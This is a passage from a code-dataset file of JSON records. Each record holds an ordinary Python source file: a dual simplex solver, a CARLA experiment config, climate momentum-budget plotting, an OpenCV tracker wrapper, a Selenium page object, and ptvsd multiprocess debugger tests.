\"\"\"\n c3,c3_nice = cubic_extensions(K,S)\n\n s3_polynomials,s3,c2 = s3_extensions(K,S)\n\n #we make reduction theory in the defining polynomials\n\n return c2,c3_nice,s3_polynomials,s3\n\n","sub_path":"two division fields.py","file_name":"two division fields.py","file_ext":"py","file_size_in_byte":23804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"476945345","text":"__author__ = 'Mikhail'\nimport numpy as np\n\nfrom first.first import reverse\nfrom second.second import A_little_moment\n\n\ndef iterated(A, Ab, reverse_Ab, c, Cb, B, b, y):\n\tN = []\n\tfor i in range(c[0].size):\n\t\tif i not in B:\n\t\t\tN.append(i)\n\tN = np.matrix(N)\n\n\t# Psevdoplan\n\tK = np.matrix(np.zeros(c[0].size))\n\tKb = np.matrix(reverse_Ab * np.transpose(b))\n\n\tfor j in range(Kb.size):\n\t\tK[0, B[0, j]] = Kb[j, 0]\n\n\tJn = 0\n\tfor i in range(Kb.size):\n\t\tif Kb[i] < 0 and Kb[i] < Kb[Jn]:\n\t\t\tJn = i\n\n\tif Jn == 0 and Kb[Jn] >= 0:\n\t\tprint('\\nOptimal plan:')\n\t\tprint(K)\n\t\treturn\n\n\t# Jn = B[0, Jn]\n\t# print('Kappa:')\n\t# print(K)\n\n\tdelta_y = reverse_Ab[Jn, :]\n\tMu = np.matrix(np.zeros(N[0].size))\n\tcompatible = False\n\tfor i in range(N[0].size):\n\t\tMu[0, i] = np.matrix(delta_y * A[:, N[0, i]])\n\t\tif Mu[0, i] < 0:\n\t\t\tcompatible = True\n\n\tif not compatible:\n\t\tprint('\\nSystem is not compatible!')\n\t\treturn\n\n\t# print(\"Mu:\")\n\t# print(Mu)\n\n\tj, s = 0, np.matrix(np.zeros(N[0].size))\n\n\tfor j in range(Mu[0].size):\n\t\tif Mu[0, j] < 0:\n\t\t\ts[0, j] = (c[0, N[0, j]] - float(np.transpose(A[:, N[0, j]]) * np.transpose(y))) / Mu[0, j]\n\t\telse:\n\t\t\ts[0, j] = Mu[0, j]\n\n\t# print(\"Sigma:\")\n\t# print(z)\n\n\ts0, J0 = min((s[0, idx], idx) for idx in range(s[0].size))\n\n\t# Jn <-> J0\n\tB[0, Jn] = N[0, J0]\n\n\n\t# print('\\nIteration:')\n\n\t# new Ab\n\tAb[:, Jn] = A[:, N[0, J0]]\n\n\t# print('Ab:')\n\t# print(Ab)\n\n\t# new reverse_Ab\n\treverse_Ab = A_little_moment(Ab, reverse_Ab, Jn)\n\n\t# reverse_Ab = np.linalg.inv(Ab)\n\t# print('reverse_Ab:')\n\t# print(reverse_Ab)\n\n\t# new Cb\n\tCb = []\n\tfor i in range(B[0].size):\n\t\tCb.append(c[0, B[0, i]])\n\n\t# new y\n\ty = y + s0 * delta_y\n\t# print(\"Co-plan:\")\n\t# print(y)\n\n\treturn iterated(A, Ab, reverse_Ab, c, Cb, B, b, y)\n\n\ndef iterate(A, B, c, b):\n\t# print('Iteration:')\n\tAb = np.matrix(np.zeros((A.shape[0], B.size)))\n\tCb = []\n\n\tfor i in range(B[0].size):\n\t\tAb[:, i] = A[:, B[0, i]]\n\t\tCb.append(c[0, B[0, i]])\n\n\t# print('Ab:')\n\t# print(Ab)\n\n\treverse_Ab = reverse(Ab)\n\t# print('reverse_Ab:')\n\t# print(reverse_Ab)\n\n\t# print(\"Co-plan:\")\n\ty = np.matrix(Cb * reverse_Ab)\n\n\titerated(A, Ab, reverse_Ab, c, Cb, B, b, y)\n\n\n# c = np.matrix([-1, -1, 0, 0, 0])\n# B = np.matrix([2, 3, 4])\n# A = np.matrix([[1, -5, 1, 0, 0], [-3, 1, 0, 1, 0], [1, 1, 0, 0, 1]])\n# b = np.matrix([-10, -12, 1])\n\nc = np.matrix([-4, -3, -7, 0, 0])\nB = np.matrix([3, 4])\nb = np.matrix([-1, -1])\nA = np.matrix([[-2, -1, -4, 1, 0], [-2, -2, -2, 0, 1]])\n\niterate(A, B, c, b)\n","sub_path":"kurs_3/sem_2/moiu/lb/third/doubleSimplexMethod.py","file_name":"doubleSimplexMethod.py","file_ext":"py","file_size_in_byte":2412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"430082558","text":"from lastfm.helpers.page import Page\n\n__author__ = 'devgen'\n\n\nclass HomePage(Page):\n def __init__(self, driver):\n Page.__init__(self, driver)\n self._recommendation_bar = None\n self._library_bar = None\n\n @property\n def recommendation_bar(self):\n from lastfm.helpers.home.bar import RecommendationBar\n\n if self._recommendation_bar is None:\n self._recommendation_bar = RecommendationBar(\n element=self.driver.find_element_by_css_selector(RecommendationBar.selector['self']),\n driver=self.driver,\n )\n return self._recommendation_bar\n\n @property\n def library_bar(self):\n from lastfm.helpers.home.bar import LibraryBar\n\n if self._library_bar is None:\n self._library_bar = LibraryBar(\n driver=self.driver,\n element=self.driver.find_element_by_css_selector(LibraryBar.selector['self']),\n )\n return self._library_bar","sub_path":"lastfm/helpers/home/page.py","file_name":"page.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"563373932","text":"from exp_base import *\n\n############## choose an experiment ##############\n\n# current = 'builder'\ncurrent = 'trainer'\n\nmod = '\"r00\"' # 1/4 res enc-dec\nmod = '\"r01\"' # 1/2 res enc-dec\nmod = '\"r02\"' # half the y dim\nmod = '\"r03\"' # L1 instead of L2\nmod = '\"r04\"' # do tests too\nmod = '\"r05\"' # use L2 instead of L1\nmod = '\"r06\"' # even narrower bounds; drop some mid layers of enc-dec; 0 to 2\nmod = '\"r07\"' # bounds 0.5 to 2.5\nmod = '\"r08\"' # L1 instead of L2; bounds 1 to 3\nmod = '\"r09\"' # train occ loss too\nmod = '\"r10\"' # same but on matrix 0-28\nmod = '\"r11\"' # 0-36 < illegal instructino\nmod = '\"r12\"' # 0-28 but use scratch\nmod = '\"r13\"' # again\nmod = '\"r14\"' # replace v2v with basic \nmod = '\"r15\"' # again\nmod = '\"r17\"' # replace viewnet; 0-36 < indeed, this old viewnet is slightly better\nmod = '\"r18\"' # do not deconv in viewnet < no diff\nmod = '\"r19\"' # use logspace sampling < slightly better\nmod = '\"r20\"' # aggregate before calling featnet < slightly faster\nmod = '\"r21\"' # nothing\nmod = '\"r22\"' # train 100k \nmod = '\"r26\"' # train with new vox_util, coeff 0.25\nmod = '\"r27\"' # adjusted some occ scopes\n# < i suspect that up until this point, my voxels were not actually cubes \nmod = '\"r28\"' # tall bounds\nmod = '\"r29\"' # tall bounds; linear projector\nmod = '\"r30\"' # tall bounds; linear projector; EMA\nmod = '\"r31\"' # big bounds; linear projector; EMA\nmod = '\"r32\"' # big bounds; linear projector; no EMA\nmod = '\"r33\"' # input dropout coeff 0.1\nmod = '\"r34\"' # vox_util coeff 0.1 instead of 0.25\nmod = '\"r35\"' # input dropout coeff 0.9\nmod = '\"r36\"' # tiny tiny smooth coeff\nmod = '\"r37\"' # no input dropout; S=2\nmod = '\"r38\"' # yes EMA\n\n\nmod = '\"r39\"' # smaller dims\nmod = '\"r40\"' # stretched vert\nmod = '\"r41\"' # coeff = 0.0\nmod = '\"r42\"' # train on 100\nmod = '\"r43\"' # valid = ones\nmod = '\"r44\"' # valid = ones; full dat\nmod = '\"r45\"' # tiny feat smooth coeff, for interp < died\nmod = '\"r46\"' # tiny feat smooth coeff, for interp\n\n\nmod = '\"r47\"' # pret 100k 02_s2_m128x8x128_p64x192_1e-4_F64_s.01_V3r_n512_l1_O_c.1_s.001_V_d64_e1_mabs7i3t_mabs7i3v_r46\n\n############## define experiment ##############\n\nexps['builder'] = [\n 'carla_vq3drgb', # mode\n # 'carla_multiview_train10_data', # dataset\n 'carla_multiview_train10_val10_data', # dataset\n 'carla_bounds', \n '10_iters',\n 'lr0',\n 'B1',\n 'no_shuf',\n 'train_feat',\n 'train_vq3drgb',\n 'train_view',\n 'fastest_logging',\n]\nexps['mini_trainer'] = [\n 'carla_vq3drgb', # mode\n 'carla_multiview_train_test_data', # dataset\n 'carla_bounds', \n '10k_iters',\n 'lr3',\n 'B1',\n 'train_feat',\n 'train_vq3drgb',\n 'train_view',\n # 'pretrained_feat', \n # 'pretrained_vq3drgb', \n # 'pretrained_view', \n 'faster_logging',\n]\nexps['trainer'] = [\n 'carla_vq3drgb', # mode\n # 'carla_multiview_train_data', # dataset\n 'carla_multiview_train_val_data', # dataset\n # 'carla_multiview_train10_val10_data', # dataset\n # 'carla_multiview_train10_data', # dataset\n # 'carla_multiview_train_test_data', # dataset\n # 'carla_multiview_train100_data', # dataset\n # 'carla_bounds', \n # 'carla_tall_bounds', \n 'carla_big_bounds', \n '100k_iters',\n 'lr5',\n 'B2',\n 'pretrained_feat',\n 'pretrained_vq3drgb',\n 'pretrained_view',\n 'pretrained_occ',\n 'train_feat',\n 'train_vq3drgb',\n 'train_view',\n 'train_occ',\n # 'pretrained_feat', \n # 'pretrained_vq3drgb', \n # 'pretrained_view', \n 'fast_logging',\n]\n\n############## net configs ##############\n\ngroups['train_feat'] = [\n 'do_feat = True',\n 'feat_dim = 64',\n 'feat_smooth_coeff = 0.01',\n]\ngroups['train_vq3drgb'] = [\n 'do_vq3drgb = True',\n 'vq3drgb_latent_coeff = 1.0',\n]\ngroups['train_view'] = [\n 'do_view = True',\n 'view_depth = 64',\n 'view_l2_coeff = 1.0',\n]\ngroups['train_occ'] = [\n 'do_occ = True',\n 'occ_coeff = 0.1',\n 'occ_smooth_coeff = 0.001',\n]\n\n############## datasets ##############\n\n# 'XMIN = -8.0', # right (neg is left)\n# 'XMAX = 8.0', # right\n# 'YMIN = -1.0', # down (neg is up)\n# 'YMAX = 3.0', # down\n# 'ZMIN = 4.0', # forward\n# 'ZMAX = 20.0', # forward\n\n# dims for mem\nSIZE = 8\nZ = int(SIZE*16)\nY = int(SIZE*1)\nX = int(SIZE*16)\n\nK = 2 # how many objects to consider\nN = 8 # how many objects per npz\nS = 2\nH = 128\nW = 384\n# H and W for proj stuff\nPH = int(H/2.0)\nPW = int(W/2.0)\n\ndataset_location = \"/scratch\"\n# dataset_location = \"/projects/katefgroup/datasets/carla/processed/npzs\"\n# dataset_location = \"/data/carla/processed/npzs\"\n\ngroups['carla_multiview_train10_data'] = [\n 'dataset_name = \"carla\"',\n 'H = %d' % H,\n 'W = %d' % W,\n 'trainset = \"mabs7i3ten\"',\n 'trainset_format = \"multiview\"', \n 'trainset_seqlen = %d' % S, \n 'dataset_location = \"%s\"' % dataset_location,\n 'dataset_filetype = \"npz\"'\n]\ngroups['carla_multiview_train100_data'] = [\n 'dataset_name = \"carla\"',\n 'H = %d' % H,\n 'W = %d' % W,\n 'trainset = \"mabs7i3hun\"',\n 'trainset_format = \"multiview\"', \n 'trainset_seqlen = %d' % S, \n 'dataset_location = \"%s\"' % dataset_location,\n 'dataset_filetype = \"npz\"'\n]\ngroups['carla_multiview_train_data'] = [\n 'dataset_name = \"carla\"',\n 'H = %d' % H,\n 'W = %d' % W,\n 'trainset = \"mabs7i3t\"',\n 'trainset_format = \"multiview\"', \n 'trainset_seqlen = %d' % S, \n 'dataset_location = \"%s\"' % dataset_location,\n 'dataset_filetype = \"npz\"'\n]\ngroups['carla_multiview_train10_val10_data'] = [\n 'dataset_name = \"carla\"',\n 'H = %d' % H,\n 'W = %d' % W,\n 'trainset = \"mabs7i3ten\"',\n 'trainset_format = \"multiview\"', \n 'trainset_seqlen = %d' % S, \n 'valset = \"mabs7i3ten\"',\n 'valset_format = \"multiview\"', \n 'valset_seqlen = %d' % S, \n 'dataset_location = \"%s\"' % dataset_location,\n 'dataset_filetype = \"npz\"'\n]\ngroups['carla_multiview_train_val_data'] = [\n 'dataset_name = \"carla\"',\n 'H = %d' % H,\n 'W = %d' % W,\n 'trainset = \"mabs7i3t\"',\n 'trainset_format = \"multiview\"', \n 'trainset_seqlen = %d' % S, \n 'valset = \"mabs7i3v\"',\n 'valset_format = \"multiview\"', \n 'valset_seqlen = %d' % S, \n 'dataset_location = \"%s\"' % dataset_location,\n 'dataset_filetype = \"npz\"'\n]\ngroups['carla_multiview_train_val_test_data'] = [\n 'dataset_name = \"carla\"',\n 'H = %d' % H,\n 'W = %d' % W,\n 'trainset = \"mabs7i3t\"',\n 'trainset_format = \"multiview\"', \n 'trainset_seqlen = %d' % S, \n 'valset = \"mabs7i3v\"',\n 'valset_format = \"multiview\"', \n 'valset_seqlen = %d' % S, \n 'testset = \"mabs7i3v\"',\n 'testset_format = \"multiview\"', \n 'testset_seqlen = %d' % S, \n 'dataset_location = \"%s\"' % dataset_location,\n 'dataset_filetype = \"npz\"'\n]\ngroups['carla_multiview_train_test_data'] = [\n 'dataset_name = \"carla\"',\n 'H = %d' % H,\n 'W = %d' % W,\n 'trainset = \"mabs7i3t\"',\n 'trainset_format = \"multiview\"', \n 'trainset_seqlen = %d' % S, \n 'testset = \"mabs7i3v\"',\n 'testset_format = \"multiview\"', \n 'testset_seqlen = %d' % S, \n 'dataset_location = \"%s\"' % dataset_location,\n 'dataset_filetype = \"npz\"'\n]\n\n############## verify and execute ##############\n\ndef _verify_(s):\n varname, eq, val = s.split(' ')\n assert varname in globals()\n assert eq == '='\n assert type(s) is type('')\n\nprint(current)\nassert current in exps\nfor group in exps[current]:\n print(\" \" + group)\n assert group in groups\n for s in groups[group]:\n print(\" \" + s)\n _verify_(s)\n exec(s)\n\ns = \"mod = \" + mod\n_verify_(s)\n\nexec(s)\n","sub_path":"pytorch_disco_recovery/exp_carla_vq3drgb.py","file_name":"exp_carla_vq3drgb.py","file_ext":"py","file_size_in_byte":7490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"420060711","text":"# Make videos of the momentum budget for all terms and runs\n# Moved to python bin while doing EGU prep (3/04/18). Should be generalised when you have time.\n\nimport numpy as np\nimport xarray as xr\nimport matplotlib.pyplot as plt\nimport sh\nfrom data_handling_updates import gradients as gr\nfrom pylab import rcParams\n\nrcParams['figure.figsize'] = 12, 4\nrcParams['font.size'] = 16\nrcParams['text.usetex'] = True\n\n\n\nland_file = '/scratch/rg419/GFDL_model/GFDLmoistModel/input/land.nc'\nland = xr.open_dataset( land_file)\n\n\ndef mom_budg(run, lev=150):\n \n data = xr.open_dataset('/scratch/rg419/Data_moist/climatologies/'+run+'.nc')\n \n #First do uu terms\n uu_trans_dx = -86400. * gr.ddx( (data.ucomp_sq - data.ucomp**2).sel(pfull=lev) ) # = - \n \n u = data.ucomp.sel(pfull=lev) # u\n u_dx = -86400. * gr.ddx( u ) # dudx\n \n u_ed = u - u.mean('lon')\n u_dx_ed = u_dx - u_dx.mean('lon')\n \n u_dudx_zav = u.mean('lon') * u_dx.mean('lon') # [u][dudx], where brackets denote mean over all longitudes\n \n u_dudx_cross1 = u.mean('lon') * u_dx_ed # [u]dudx*\n \n u_dudx_cross2 = u_ed * u_dx.mean('lon') # u*[dudx]\n\n u_dudx_stat = u_ed * u_dx_ed # u*dudx* \n \n data['uu_trans_dx'] = (('xofyear','lat', 'lon'), uu_trans_dx )\t\n data['u_dudx_cross1'] = (('xofyear','lat', 'lon'), u_dudx_cross1 )\t\n data['u_dudx_cross2'] = (('xofyear','lat', 'lon'), u_dudx_cross2 )\t\n data['u_dudx_stat'] = (('xofyear','lat', 'lon'), u_dudx_stat )\t\n data['u_dudx_zav'] = (('xofyear','lat'), u_dudx_zav )\n \n \n #Next do uv terms\n uv_trans_dy = -86400. * gr.ddy( (data.ucomp_vcomp - data.ucomp * data.vcomp).sel(pfull=lev) , uv=True)\n\n v = data.vcomp.sel(pfull=lev).load() # v\n u_dy = -86400. * gr.ddy( u ) # dudy\n \n v_ed = v - v.mean('lon')\n u_dy_ed = u_dy - u_dy.mean('lon')\n \n v_dudy_zav = v.mean('lon') * u_dy.mean('lon') # [v][dudy]\n \n v_dudy_cross1 = v.mean('lon') * u_dy_ed # [v]dudy*\n \n v_dudy_cross2 = v_ed * u_dy.mean('lon') # v*[dudy]\n \n v_dudy_stat = v_ed * u_dy_ed # v*dudy* \n \n data['uv_trans_dy'] = (('xofyear','lat', 'lon'), uv_trans_dy)\t\n data['v_dudy_cross1'] = (('xofyear','lat', 'lon'), v_dudy_cross1 )\t\n data['v_dudy_cross2'] = (('xofyear','lat', 'lon'), v_dudy_cross2 )\n data['v_dudy_stat'] = (('xofyear','lat', 'lon'), v_dudy_stat)\t\n data['v_dudy_zav'] = (('xofyear','lat'), v_dudy_zav )\n \n \n #Finally do uw terms\n uw_trans_dp = -86400. * gr.ddp( (data.ucomp_omega - data.ucomp * data.omega))\n \n w = data.omega.sel(pfull=lev).load() # w\n u_dp = -86400. * (gr.ddp(data.ucomp)).sel(pfull=lev) # dudp\n \n w_ed = w - w.mean('lon')\n u_dp_ed = u_dp - u_dp.mean('lon')\n \n w_dudp_zav = w.mean('lon') * u_dp.mean('lon') # [w][dudp]\n \n w_dudp_cross1 = w.mean('lon') * u_dp_ed # [w]dudp*\n \n w_dudp_cross2 = w_ed * u_dp.mean('lon') # w*[dudp]\n \n w_dudp_stat = w_ed * u_dp_ed # w*dudp* \n \n data['uw_trans_dp'] = (('xofyear','lat', 'lon'), uw_trans_dp.sel(pfull=lev))\t\n data['w_dudp_cross1'] = (('xofyear','lat', 'lon'), w_dudp_cross1 )\t\n data['w_dudp_cross2'] = (('xofyear','lat', 'lon'), w_dudp_cross2 )\n data['w_dudp_stat'] = (('xofyear','lat', 'lon'), w_dudp_stat)\t\n data['w_dudp_zav'] = (('xofyear','lat'), w_dudp_zav )\t\n \n \n #Coriolis\n omega = 7.2921150e-5\n f = 2 * omega * np.sin(data.lat *np.pi/180)\n fv = data.vcomp.sel(pfull=lev) * f * 86400.\n fv_mean = fv.mean('lon')\n fv_local = fv - fv_mean\n \n #Geopotential gradient\n dphidx = gr.ddx(data.height.sel(pfull=lev))\n dphidx = -86400. * 9.8 * dphidx\n fv_ageo = fv_local + dphidx\n \n mom_mean = data.u_dudx_zav + data.v_dudy_zav + data.w_dudp_zav\n mom_cross = data.u_dudx_cross1 + data.v_dudy_cross1 + data.w_dudp_cross1 + data.u_dudx_cross2 + data.v_dudy_cross2 + data.w_dudp_cross2\n mom_trans = data.uu_trans_dx + data.uv_trans_dy + data.uw_trans_dp\n mom_stat = data.u_dudx_stat + data.v_dudy_stat + data.w_dudp_stat\n \n mom_sum = fv_local + fv_mean + dphidx + mom_mean + mom_trans + mom_stat + mom_cross\n \n \n data['mom_mean'] = (('xofyear','lat'), mom_mean)\n data['mom_cross'] = (('xofyear','lat', 'lon'), mom_cross)\n data['mom_trans'] = (('xofyear','lat', 'lon'), mom_trans)\n data['mom_stat'] = (('xofyear','lat', 'lon'), mom_stat)\n data['fv_local'] = (('xofyear','lat', 'lon'), fv_local)\n data['fv_ageo'] = (('xofyear','lat', 'lon'), fv_ageo)\n data['fv_mean'] = (('xofyear','lat'), fv_mean)\n data['dphidx'] = (('xofyear','lat', 'lon'), dphidx)\n data['mom_sum'] = (('xofyear','lat', 'lon'), mom_sum)\n \n return data\n\n\n\ndata_1 = mom_budg('control_qflux')\ndata_2 = mom_budg('no_americas')\ndata_3 = mom_budg('frozen_am_0.4')\ndata_4 = mom_budg('no_TIP')\n\n\n\n \ndef subplot(data, ax_in, pentad, three_d = True, tibet=True):\n # Produce a subplot on a specified axis for a given pentad\n if three_d:\n f1 = data[pentad,:,:].plot.contourf(ax=ax_in, x='lon', y='lat', extend='both', levels = np.arange(-40,41.1,4.), add_colorbar=False, add_labels=False)\n land.land_mask.plot.contour(x='lon', y='lat', levels=np.arange(0.,2.,1.), ax=ax_in, colors='k', add_colorbar=False, add_labels=False)\n if tibet:\n land.zsurf.plot.contourf(x='lon', y='lat', ax=ax_in, levels=np.arange(2500.,100001.,97500.), add_labels=False, extend='neither', add_colorbar=False, alpha=0.5, cmap='Greys_r')\n ax_in.set_xlim(60,150)\n ax_in.set_ylim(-30,60)\n ax_in.set_xticks(np.arange(60.,151.,30.))\n ax_in.set_yticks(np.arange(-30.,61.,30.))\n \n else:\n f1 = data[pentad,:].plot(ax=ax_in, color='k')\n ax_in.set_xlim(-30,60)\n ax_in.set_ylim(-20,20)\n ax_in.grid(True,linestyle=':')\n ax_in.set_xticks(np.arange(-30.,65.,30.))\n ax_in.set_yticks(np.arange(-20.,20.,10.))\n\n return f1\n\n\ndef plot_var(var, three_d = True):\n # Plot up a given variable \n \n plot_dir = '/scratch/rg419/plots/mom_budg_video/wn2/' + var + '/'\n mkdir = sh.mkdir.bake('-p')\n mkdir(plot_dir)\n \n for pentad in range(0,72):\n \n f, (ax1, ax2, ax3, ax4) = plt.subplots(1, 4, sharey=True)\n \n subplot(data_1[var], ax1, pentad, three_d=three_d)\n subplot(data_2[var], ax2, pentad, three_d=three_d)\n subplot(data_3[var], ax3, pentad, three_d=three_d)\n f1 = subplot(data_4[var], ax4, pentad, three_d=three_d, tibet=False)\n \n ax1.set_title('Control', fontsize=15)\n ax2.set_title('No Am', fontsize=15)\n ax3.set_title('Frozen Am', fontsize=15)\n ax4.set_title('No TP', fontsize=15)\n \n if three_d:\n ax1.set_ylabel('Latitude')\n ax1.set_xlabel('Longitude')\n ax2.set_xlabel('Longitude')\n ax3.set_xlabel('Longitude')\n ax4.set_xlabel('Longitude')\n \n else:\n ax1.set_ylabel('')\n ax2.set_ylabel('')\n ax3.set_ylabel('')\n ax4.set_ylabel('')\n ax1.set_xlabel('')\n ax2.set_xlabel('')\n ax3.set_xlabel('Latitude')\n ax4.set_xlabel('Latitude')\n\n\n plt.subplots_adjust(right=0.97, left=0.1, top=0.9, bottom=0.1, hspace=0.2, wspace=0.15)\n \n #Colorbar\n if three_d:\n cb1=f.colorbar(f1, ax=[ax1,ax2,ax3,ax4], use_gridspec=True, orientation = 'horizontal',fraction=0.15, pad=0.2, aspect=30, shrink=0.5)\n cb1.set_label('Zonal momentum tendency, ms$^{-1}day^{-1}$')\n \n plot_name = plot_dir + var + '_pentad_%02d.png' % (pentad+1)\n plt.savefig(plot_name)\n plt.close()\n\n#plot_var('mom_mean', three_d = False)\n#plot_var('fv_mean', three_d = False)\nplot_var('mom_cross')\nplot_var('mom_trans')\nplot_var('mom_stat')\nplot_var('fv_local')\nplot_var('dphidx')\nplot_var('fv_ageo')\n\n \n ","sub_path":"python_bin_updates/physics_updates/videos/mom_budg_all.py","file_name":"mom_budg_all.py","file_ext":"py","file_size_in_byte":7934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"282818839","text":"import cv2\nimport numpy as np\nfrom seq_manager import Rectangle, convert_region\nimport utils\n\nclass TLDExpert:\n def __init__(self): \n self.type = 'rect' \n self.prev_rect = None\n\n def init_tracker(self, init_img_path, init_region): \n init_img = cv2.imread(init_img_path)\n height, width = init_img.shape[:2]\n init_rect = convert_region(init_region, 'rectangle')\n init_bbox = [init_rect.x, init_rect.y, init_rect.width, init_rect.height]\n init_bbox = utils.bnormalize_bbox(init_bbox, height, width)\n self.tracker = cv2.TrackerTLD_create() \n self.tracker.init(init_img, tuple(init_bbox))\n self.prev_rect = init_rect\n\n def predict(self, img_path):\n try:\n image = cv2.imread(img_path)\n ok, bbox = self.tracker.update(image)\n if ok == False:\n return self.prev_rect\n predicted_rect = Rectangle(bbox[0], bbox[1], bbox[2], bbox[3])\n self.prev_rect = predicted_rect\n return predicted_rect\n except:\n return self.prev_rect\n","sub_path":"Experts/TLD_expert.py","file_name":"TLD_expert.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"427817539","text":"# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See LICENSE in the project root\n# for license information.\n\nfrom __future__ import print_function, with_statement, absolute_import\n\nimport platform\nimport pytest\nimport sys\n\nfrom pytests.helpers.pattern import ANY\nfrom pytests.helpers.session import DebugSession\nfrom pytests.helpers.timeline import Event, Request, Response\nfrom pytests.helpers.session import START_METHOD_LAUNCH, START_METHOD_CMDLINE\n\n\n@pytest.mark.timeout(60)\n@pytest.mark.skipif(platform.system() != 'Windows',\n reason='Debugging multiprocessing module only works on Windows')\n@pytest.mark.parametrize('start_method', [START_METHOD_LAUNCH, START_METHOD_CMDLINE])\ndef test_multiprocessing(debug_session, pyfile, run_as, start_method):\n @pyfile\n def code_to_debug():\n import multiprocessing\n import platform\n import sys\n from dbgimporter import import_and_enable_debugger\n import_and_enable_debugger()\n\n def child_of_child(q):\n print('entering child of child')\n assert q.get() == 2\n q.put(3)\n print('leaving child of child')\n\n def child(q):\n print('entering child')\n assert q.get() == 1\n\n print('spawning child of child')\n p = multiprocessing.Process(target=child_of_child, args=(q,))\n p.start()\n p.join()\n\n assert q.get() == 3\n q.put(4)\n print('leaving child')\n\n if __name__ == '__main__':\n import backchannel\n if sys.version_info >= (3, 4):\n multiprocessing.set_start_method('spawn')\n else:\n assert platform.system() == 'Windows'\n\n print('spawning child')\n q = multiprocessing.Queue()\n p = multiprocessing.Process(target=child, args=(q,))\n p.start()\n print('child spawned')\n backchannel.write_json(p.pid)\n\n q.put(1)\n assert backchannel.read_json() == 'continue'\n q.put(2)\n p.join()\n assert q.get() == 4\n q.close()\n backchannel.write_json('done')\n\n debug_session.initialize(multiprocess=True, target=(run_as, code_to_debug), start_method=start_method, use_backchannel=True)\n debug_session.start_debugging()\n\n root_start_request, = debug_session.all_occurrences_of(Request('launch') | Request('attach'))\n root_process, = debug_session.all_occurrences_of(Event('process'))\n root_pid = int(root_process.body['systemProcessId'])\n\n child_pid = debug_session.read_json()\n\n child_subprocess = debug_session.wait_for_next(Event('ptvsd_subprocess'))\n assert child_subprocess == Event('ptvsd_subprocess', {\n 'rootProcessId': root_pid,\n 'parentProcessId': root_pid,\n 'processId': child_pid,\n 'port': ANY.int,\n 'rootStartRequest': {\n 'seq': ANY.int,\n 'type': 'request',\n 'command': root_start_request.command,\n 'arguments': root_start_request.arguments,\n }\n })\n child_port = child_subprocess.body['port']\n\n child_session = DebugSession(start_method=START_METHOD_CMDLINE, ptvsd_port=child_port)\n child_session.ignore_unobserved = debug_session.ignore_unobserved\n child_session.connect()\n child_session.handshake()\n child_session.start_debugging()\n\n debug_session.proceed()\n child_child_subprocess = debug_session.wait_for_next(Event('ptvsd_subprocess'))\n assert child_child_subprocess == Event('ptvsd_subprocess', {\n 'rootProcessId': root_pid,\n 'parentProcessId': child_pid,\n 'processId': ANY.int,\n 'port': ANY.int,\n 'rootStartRequest': {\n 'seq': ANY.int,\n 'type': 'request',\n 'command': root_start_request.command,\n 'arguments': root_start_request.arguments,\n }\n })\n child_child_port = child_child_subprocess.body['port']\n\n child_child_session = DebugSession(start_method=START_METHOD_CMDLINE, ptvsd_port=child_child_port)\n child_child_session.ignore_unobserved = debug_session.ignore_unobserved\n child_child_session.connect()\n child_child_session.handshake()\n child_child_session.start_debugging(freeze=False)\n\n debug_session.write_json('continue')\n\n if sys.version_info >= (3,):\n child_child_session.wait_for_termination()\n child_session.wait_for_termination()\n else:\n # These should really be wait_for_termination(), but child processes don't send the\n # usual sequence of events leading to 'terminate' when they exit for some unclear\n # reason (ptvsd bug?). So, just wait till they drop connection.\n child_child_session.wait_for_disconnect()\n child_session.wait_for_disconnect()\n\n assert debug_session.read_json() == 'done'\n debug_session.wait_for_exit()\n\n\n@pytest.mark.timeout(60)\n@pytest.mark.skipif(sys.version_info < (3, 0) and (platform.system() != 'Windows'),\n reason='Bug #935')\n@pytest.mark.parametrize('start_method', [START_METHOD_LAUNCH, START_METHOD_CMDLINE])\ndef test_subprocess(debug_session, pyfile, start_method, run_as):\n @pyfile\n def child():\n import sys\n import backchannel\n from dbgimporter import import_and_enable_debugger\n import_and_enable_debugger()\n backchannel.write_json(sys.argv)\n\n @pyfile\n def parent():\n import os\n import subprocess\n import sys\n from dbgimporter import import_and_enable_debugger\n import_and_enable_debugger()\n argv = [sys.executable, sys.argv[1], '--arg1', '--arg2', '--arg3']\n env = os.environ.copy()\n process = subprocess.Popen(argv, env=env, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n process.wait()\n\n debug_session.program_args += [child]\n debug_session.initialize(multiprocess=True, target=(run_as, parent), start_method=start_method, use_backchannel=True)\n debug_session.start_debugging()\n\n root_start_request, = debug_session.all_occurrences_of(Request('launch') | Request('attach'))\n root_process, = debug_session.all_occurrences_of(Event('process'))\n root_pid = int(root_process.body['systemProcessId'])\n\n child_subprocess = debug_session.wait_for_next(Event('ptvsd_subprocess'))\n assert child_subprocess == Event('ptvsd_subprocess', {\n 'rootProcessId': root_pid,\n 'parentProcessId': root_pid,\n 'processId': ANY.int,\n 'port': ANY.int,\n 'rootStartRequest': {\n 'seq': ANY.int,\n 'type': 'request',\n 'command': root_start_request.command,\n 'arguments': root_start_request.arguments,\n }\n })\n child_pid = child_subprocess.body['processId']\n child_port = child_subprocess.body['port']\n debug_session.proceed()\n\n child_session = DebugSession(start_method=START_METHOD_CMDLINE, ptvsd_port=child_port, pid=child_pid)\n child_session.ignore_unobserved = debug_session.ignore_unobserved\n child_session.connect()\n child_session.handshake()\n child_session.start_debugging()\n\n child_argv = debug_session.read_json()\n assert child_argv == [child, '--arg1', '--arg2', '--arg3']\n\n child_session.wait_for_exit()\n debug_session.wait_for_exit()\n\n\n@pytest.mark.timeout(60)\n@pytest.mark.skipif(sys.version_info < (3, 0) and (platform.system() != 'Windows'),\n reason='Bug #935')\n@pytest.mark.parametrize('start_method', [START_METHOD_LAUNCH, START_METHOD_CMDLINE])\ndef test_autokill(debug_session, pyfile, start_method, run_as):\n @pyfile\n def child():\n from 